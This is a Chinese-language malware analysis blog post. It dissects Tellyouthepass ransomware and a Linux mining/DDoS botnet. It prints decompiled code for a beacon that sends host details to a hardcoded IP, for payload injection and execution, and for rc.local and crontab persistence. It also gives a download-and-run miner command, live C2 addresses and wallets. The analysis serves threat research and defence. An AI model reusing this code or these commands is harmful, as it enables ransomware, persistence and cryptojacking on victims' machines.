Tellyouthepass

360传到Alien Vault再传到我手上的三手信息,已经是晚了七天了

凑合着分析吧

Ransomware

https://cert.360.cn/report/detail?id=65fceeb4c09f255b91b17f11

从这篇报告中得到勒索程序下载URLhttp://107.175.127.195/update.hta,但是已经404了

微步上能找到IP关联的其他样本,时间上差不多将就着看吧

https://s.threatbook.com/report/file/335b96699b836ad1d6eab2f8517233294717add7e57904915786597769f90af6

下载下来是一个VB脚本,Base64解码完之后再反序列化,最后调用类EfsPotato.Mshta,基本就是.NET了

Base64解码得到的是.NET二进制序列化的结果,本来想着反序列化之后能不能对想办法导出这个类或者相关信息,尝试了下感觉没什么好办法

二进制序列化内容丢Winhex里面慢慢看能看到PE文件的DOS_Header,直接foremost提取文件了

提取出来个dll文件,879af643473cf0d569dd015d4e8de29e

丢010editor里面看了下,在.text.rsrc.reloc三个Section之后还有一些其他的信息

但是感觉有点像是foremost分离文件的时候没分离干净,但是不影响dnspy读取这个dll,所以无所谓了

跟进EfsPotato.Mshta

1
2
3
4
5
6
// EfsPotato.Mshta
// Token: 0x0600032E RID: 814 RVA: 0x0000EF9E File Offset: 0x0000D19E
public Mshta()
{
new U().Equals("");
}

跟进类U的重写函数Equals

1
2
3
4
5
6
7
// U
// Token: 0x06000009 RID: 9 RVA: 0x00002826 File Offset: 0x00000A26
public override bool Equals(object obj)
{
this.Auto();
return false;
}

到函数Auto这里差不多就是主函数了

首先会进行提权,所使用的EXP如下所示

成功拿到管理员权限之后会与一个用于记录的服务器进行通信,且后续几乎每一步都会有对应的通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Token: 0x06000322 RID: 802 RVA: 0x0000EB14 File Offset: 0x0000CD14
public static void SendHttp(string ipAddr, int ipPort, string s)
{
try
{
IPAddress[] hostAddresses = Dns.GetHostAddresses(Dns.GetHostName());
s += "--";
s = s + Environment.MachineName + "--";
s = s + Environment.UserName + "--";
s = s + Environment.ProcessorCount + "--";
s = s + Environment.Version + "--";
foreach (IPAddress ipaddress in hostAddresses)
{
s = s + ipaddress.ToString() + ",";
}
s = Uri.EscapeDataString(s);
string s2 = "GET /css/css.css?v=" + s + " HTTP/1.1\r\nHost:css.baidu.com\r\n\r\n";
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint remoteEP = new IPEndPoint(IPAddress.Parse(ipAddr), ipPort);
socket.Connect(remoteEP);
socket.Send(Encoding.Default.GetBytes(s2));
Thread.Sleep(1000);
socket.Close();
}
catch (Exception ex)
{
Console.WriteLine("error socket {0}", ex.Message);
}
}

这里虽然host写的是css.baidu.com,但是目的IP为DLL中硬编码的变量

1
2
3
4
// Token: 0x04000004 RID: 4
public string ip = "107.175.127.195";
// Token: 0x04000005 RID: 5
public int port = 80;

主机与服务均在线

1
2
3
4
5
6
curl -I http://107.175.127.195/css.css

HTTP/1.1 404 Not Found
Date: Thu, 28 Mar 2024 [DATA EXPUNGED] GMT
Server: Apache/2.4.37 (AlmaLinux)
Content-Type: text/html; charset=iso-8859-1

且该域名不存在解析记录

1
2
3
4
5
6
nslookup css.baidu.com

Server: 114.114.114.114
Address: 114.114.114.114#53

** server can't find css.baidu.com: NXDOMAIN

后续则是用函数RealBlind1,和RealBlind3进行规避检测

虽然说两者的硬编码PE程序不一样,但是目的差不多

1
2
3
4
5
6
7
8
byte[] array = ExecLib.Hex2String(str + str2 + str3);
string text = "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".bin";
using (FileStream fileStream = new FileStream(text, FileMode.Create))
{
fileStream.Write(array, 0, array.Length);
}
byte[] asm = Convert.FromBase64String(this.peshellcode);
AsmLoader.loadAsmBin("C:\\Windows\\System32\\rundll32.exe " + text + " 3 clear", asm, Convert.ToInt32(7000));

.bin文件和peshellcode均为硬编码的PE文件,但.bin在沙箱中测试的时候并不能按代码中那样直接用rundll32.exe执行,会提示"丢失条目 3"

跟进AsmLoader.loadAsmBin之后大概理解了这一步的目的

目的并不是为了运行这个DLL,而是用rundll32.exe创建一个进程之后再将peshellcode的内容的注入到这个进程中,从而运行peshellcode

peshellcode的md5是d8cc5986811b4f9c034313d80660334c,来自于一个github项目,用于大概是清除内核回调以禁用掉杀软的一些功能

https://github.com/myzxcg/RealBlindingEDR

所以实际上运行的是peshellcode,后续三个参数可以与RealBlindingEDR中的参数对应上

.bin文件实际上是wnBio.sys驱动文件,3是与这个驱动文件对应的编号

最后则是函数runEncDllPe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public void runEncDllPe()
{
try
{
string text = "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".bin";
string text2 = "c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".exe";
"c:\\windows\\temp\\" + ExecLib.GenRandomHex(8) + ".txt";
byte[] data = Convert.FromBase64String(this.encdll);
byte[] array = Convert.FromBase64String(this.loaderpe);
string text3 = ExecLib.GenRandomString(32);
string text4 = ExecLib.GenRandomString(16);
byte[] bytes = Encoding.UTF8.GetBytes(text3);
byte[] bytes2 = Encoding.UTF8.GetBytes(text4);
byte[] array2 = ExecLib.Encrypt(data, bytes, bytes2);
using (FileStream fileStream = new FileStream(text, FileMode.Create))
{
fileStream.Write(array2, 0, array2.Length);
}
using (FileStream fileStream2 = new FileStream(text2, FileMode.Create))
{
fileStream2.Write(array, 0, array.Length);
}
ExecLib.ExecuteCmd(string.Concat(new string[]
{
"start ",
text2,
" ",
text,
" ",
text3,
" ",
text4
}));
}
catch (Exception)
{
}
}

这里的loaderpe的作用就是把加密后写入的encdll解密再调用类U的重写函数Equals

两者的md5分别是6d448cba987a24c3ddbde760d76c5a15,9c1ceb62612af0c495f515d3afac8150

text3是key,text4是IV

encdll则是用于加密勒索

先Kill掉一些会占用文件的进程,删除卷影备份,生成临时RSA密钥对

然后就该干嘛干嘛了

其他一些硬编码信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// Token: 0x04000002 RID: 2
public static string httpAddr = "107.175.127.195";

// Token: 0x04000003 RID: 3
public static bool debug = false;

// Token: 0x04000004 RID: 4
public static bool skipJava = true;

// Token: 0x04000005 RID: 5
public static int httpPort = 80;

// Token: 0x04000006 RID: 6
private static string personPubKey = "BgIAAACkAABSU0ExAAQAAAEAAQABo5INMgvZRHU+odxc8HTZUnsValb+zVbnhjhUK0Smo6MnGNYvaQY6vN9j5viFHTfCgu0NculsfILwXtUVUn8WqEHjm0xfbsKl93uazKHzyuiiepA5ggNHgGbZ5vnpo5MKE3ykwdqYPst8ULxCZNPCdu3kK2PKC2li150Dl8e2zA==";

// Token: 0x04000007 RID: 7
private static string btcCount = "0.08";

// Token: 0x04000008 RID: 8
private static string btcAddr = "bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l";

// Token: 0x04000009 RID: 9
private static string email = "service@helloworldtom.online";

// Token: 0x0400000A RID: 10
private static string msgFileName = "READ_ME5.html";

// Token: 0x0400000B RID: 11
private static readonly string fileExtension = ".locked";

// Token: 0x0400000E RID: 14
private static string readMeMsg = string.Concat(new string[]
{
"send ",
U.btcCount,
"btc to my address:",
U.btcAddr,
". contact email:",
U.email,
",if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID"
});

截止至2024-03-28,该地址已入账比特币0.279个


Botnet

https://cert.360.cn/report/detail?id=65fceeb4c09f255b91b17f11

在这篇报告里面有一个HFS服务

http://61.160.194.160:35130/

可以下载3个文件

  • 00.sh 9c45570808febe4753e79cc832ee89d8
  • sss6 c33ffcc92a7065e3e9962448120acec4
  • sss68 6f7c5541b43f832b8b222bbb9cf9cd9e

其中sss6是32位elf,sss68是64位elf

00.sh的大概活动流程如下

  • 删除日志
  • Kill掉访问特定矿池的进程
  • Kill掉监听特定端口的进程
  • Kill掉特定名字的进程
  • 清空iptables规则并新增特定端口与矿池域名的黑名单
  • 下载并运行sss6sss68

sss6sss68的功能基本一致,这里以sss6为例进行简要分析

Main函数中进行的权限维持方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
v25 = (const char *)GetmyName();
...
v26 = open("/etc/rc.local", 2, v10);
if ( v26 == -1 )
{
snprintf(v15, 1014, "ehco %s start >>/etc/rc.local", v25);
v31 = 0;
v31 = popen(v15, &unk_80EBF80);
pclose(v31);
}
else
{
v29 = read(v26, v14, 0x1FFF);
if ( v29 != -1 )
{
v14[0x1FFF] = 0;
v5 = strlen(v14);
v30 = WriteOnline(v14, v25, v5, 0);
if ( v30 == -1 )
{
v6 = strlen(v14);
v30 = WriteOnline(v14, "exit 0", v6, 0);
if ( v30 == -1 )
{
lseek(v26, 0, 2);
snprintf(v15, 1014, "\n %s start \n", v25);
}
else
{
lseek(v26, v30 - 1, 0);
snprintf(v15, 100, "\r\n %s start \r\n exit 0", v25);
}
v7 = strlen(v15);
write(v26, v15, v7);
}
}
close(v26);
}

ehco属实有点幽默了
WriteOnline大概是用于在第一个参数中搜索第二个参数
lseek则是重新计算文件指针的位置

写入/etc/rc.local以进行持久化,写入的命令如下所示

1
2
3
4
5
6
7
8
9
10
11
char *GetmyName(void)
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]

memset(mybuf, 0, sizeof(mybuf));
v1 = readlink("/proc/self/exe", mybuf, 1024);
if ( v1 >= 0x400 )
return 0;
mybuf[v1] = 0;
return mybuf;
}

另一个持久化的方法则是写入crontab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v26 = open("/etc/crontab", 2, v13);
if ( v26 != -1 )
{
v34 = read(v26, v28, v27 - 1);
if ( v34 != -1 )
{
memset(v16, 0, sizeof(v16));
snprintf(v16, 256, "\n*/1 * * * * %s\n", v25);
*((_BYTE *)v28 + v27 - 1) = 0;
if ( WriteOnline((const char *)v28, v16, v27 - 1, 0) == -1 )
{
lseek(v26, 0, 2);
v9 = strlen(v16);
write(v26, v16, v9);
}
}
close(v26);
}

下面两段用于解除Linux资源限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v26 = open("/etc/sysctl.conf", 2, v11);
if ( v26 != -1 )
{
v32 = read(v26, v28, v27);
if ( v32 != -1 )
{
*((_BYTE *)v28 + v27 - 1) = 0;
if ( WriteOnline((const char *)v28, "6553560", v27 - 1, 0) == -1 )
{
lseek(v26, 0, 2);
write(v26, "\nfs.file-max=6553560\n", 21);
}
}
close(v26);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v26 = open("/etc/security/limits.conf", 2, v12);
if ( v26 != -1 )
{
v33 = read(v26, v28, v27);
if ( v33 != -1 )
{
*((_BYTE *)v28 + v27 - 1) = 0;
if ( WriteOnline((const char *)v28, "* soft noproc 65535", v27 - 1, 0) == -1 )
{
lseek(v26, 0, 2);
strcpy(
v16,
"\n"
"* soft noproc 65535 \n"
"* hard noproc 65535 \n"
"* soft nofile 65535 \n"
"* hard nofile 65535\n");
v8 = strlen(v16);
write(v26, v16, v8);
}
}
close(v26);
}

下面则是用于解密硬编码的内容

1
2
3
4
5
EncryptData((unsigned __int8 *)byte_811B17E, 0x96u, 0x3FFu);
EncryptData(&byte_811B218, 0x100u, 0x3FFu);
EncryptData(&byte_811B318, 0x100u, 0x3FFu);
EncryptData((unsigned __int8 *)byte_811B418, 0x100u, 0x3FFu);
EncryptData((unsigned __int8 *)byte_811B518, 0x100u, 0x3FFu);

解密算法如下

1
2
key = (0xff % 0x5f) + 88
plain = chr(((cipher ^ key) + key) % 256)

虽然传入的Key是0x3ff,但是用于接收这个参数的变量的大小是8Bit,所以会丢掉前面的0x300

解密结果如下

1
2
3
4
5
nishabii.xyz
-o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p Linuc
-o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p Linuc
/tmp/bnVefghi
http://hfs.t1linux.com:7845/scdsshfk

函数xmrMining()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while ( 1 )
{
if ( stopxmr && !ProcessIsRun(s) )
{
if ( access(byte_811B418, 0) == -1 )
{
http_get(byte_811B518, byte_811B418);
}
else
{
memset(v1, 0, sizeof(v1));
memset(v1, 0, sizeof(v1));
snprintf(v1, 1024, "chmod 777 %s;%s %s -l /tmp/%s.txt", byte_811B418, byte_811B418, CpuMing, s);
system(v1);
}
}
sleep(10);
}

下载http://hfs.t1linux.com:7845/scdsshfk并写入到/tmp/bnVefghi然后执行以下命令

chmod 777 /tmp/bnVefghi;/tmp/bnVefghi -o stratum+tcp://auto.c3pool.org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p Linuc -l /tmp/bnVefghi.txt

42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc应该就是XMR的地址了

这个挖矿程序简要看了一下

7c631fca21e348ae4c3408ddd400b416

UPX壳

脱壳之后md5是aabc159b0a4fdb1b3f4c21b9bd688210

版本信息是XMRig 6.20.0-C3Pool

函数Killpid()则是用于Kill掉进程名包含以下字符串的进程

  • Linux-
  • xmr
  • 25000
  • Linux2.6
  • Linux2.7
  • LinuxTF
  • miner

获取网络信息跟CPU信息懒得看了

函数_SendInfo用于向C2发送状态信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ( byte_811B618 != 1 )
{
if ( strstr(CpuMing, "+tcp") )
{
substring(CpuMing, 47, 32, v4);
substring(v4, 47, 32, v4);
}
else
{
strcpy(v4, "Acquisition failure");
}
}
else
{
strcpy(v4, "No digging");
}
if ( ProcessIsRun(needle) == 1 )
snprintf(s, 1024, "CPU(Running)|%.2lf|%d%%|%.2f|%s", netuse, usage, (double)(CPUSL / 1024.0), v4);
else
snprintf(s, 1024, "CPU(Stop)|%.2lf|%d%%|%.2f|%s", netuse, usage, (double)(CPUSL / 1024.0), v4);
v1 = strlen(s);
return write(MainSocket, s, v1 + 1);

函数ServerConntectCli给出C2信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int ServerConnectCli(void)
{
sockaddr v1; // [esp+18h] [ebp-20h] BYREF
int v2; // [esp+28h] [ebp-10h]
int v3; // [esp+2Ch] [ebp-Ch]

v2 = AnalysisAddress(byte_811B17E);
if ( !v2 )
return 0;
*(_DWORD *)&v1.sa_data[6] = 0;
*(_DWORD *)&v1.sa_data[10] = 0;
*(_WORD *)v1.sa_data = ntohs((unsigned __int16)dword_811B214);
v1.sa_family = 2;
*(_DWORD *)&v1.sa_data[2] = v2;
v3 = socket(2);
if ( myconnect(v3, &v1, 0x10u, 0) != -1 )
return v3;
close(v3);
return 0;
}

byte_811B17E是nishabii.xyz
dword_811B214是0x1ed7,即7895

1
2
3
4
5
6
7
8
9
nmap -p 7895 nishabii.xyz 
Starting Nmap 7.92 ( https://nmap.org ) at 2024-03-29 [DATA EXPUNGED]
Nmap scan report for nishabii.xyz (218.244.58.70)
Host is up (0.022s latency).

PORT STATE SERVICE
7895/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

确认C2在线

函数ConnectServer()写了肉鸡上线时所给出的机器信息以及C2可以执行的功能

IDA反编译的代码看着感觉少了几个参数,凑合着看吧

肉鸡上线

1
2
3
4
DecryptData((unsigned __int8 *)s, 0x198u, 0x400u);
v13 = 131588;
memcpy(v14, s, sizeof(v14));
if ( send(MainSocket) == -1 )

接收C2命令

1
v37 = recv(MainSocket);

后面Switch的各个功能与C2命令对应

DDos攻击

1
2
3
4
case 4:
memcpy(&v15[1024], &v12[1], 580);
DealwithDDoS(&v15[1024]);
break;

具体攻击类别函数如下

  • SYNFlood
  • ICMPFlood
  • UDPFlood
  • DK_Flood
  • TCP_Flood
  • Tcp
  • WZUdp_Flood
  • Get_CC
  • Post_CC
  • postattack
  • CCAttack
  • MNAttack
  • HEAD

命令下发

1
2
case 7:
system(&v12[1]);

其他功能懒得看了

其他信息

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall EXITSIGPIPE(int a1, int a2, int a3, int a4, int a5, int a6)
{
return printf(
(unsigned int)"They say I'm rude. I'm not rude at all, but I still want to say, fuck your mother",
a2,
a3,
a4,
a5,
a6);
}
1
2
3
4
5
6
7
8
9
10
11
12
printf(
(unsigned int)"Hi, man. I've seen several organizations report my Trojan recently, Please let me go. I want to buy "
"a car. That's all. I don't want to hurt others. I can't help it. My family is very poor. In China, i"
"t's hard to buy a suite. I don't have any accommodation. I don't want to do anything illegal. Really"
", really, if you are interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh"
"6v5kevp7xzngkl nutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, thank yo",
(unsigned int)s,
v4,
v5,
v6,
v7,
(char)argv);

典型的Chinglish

EOF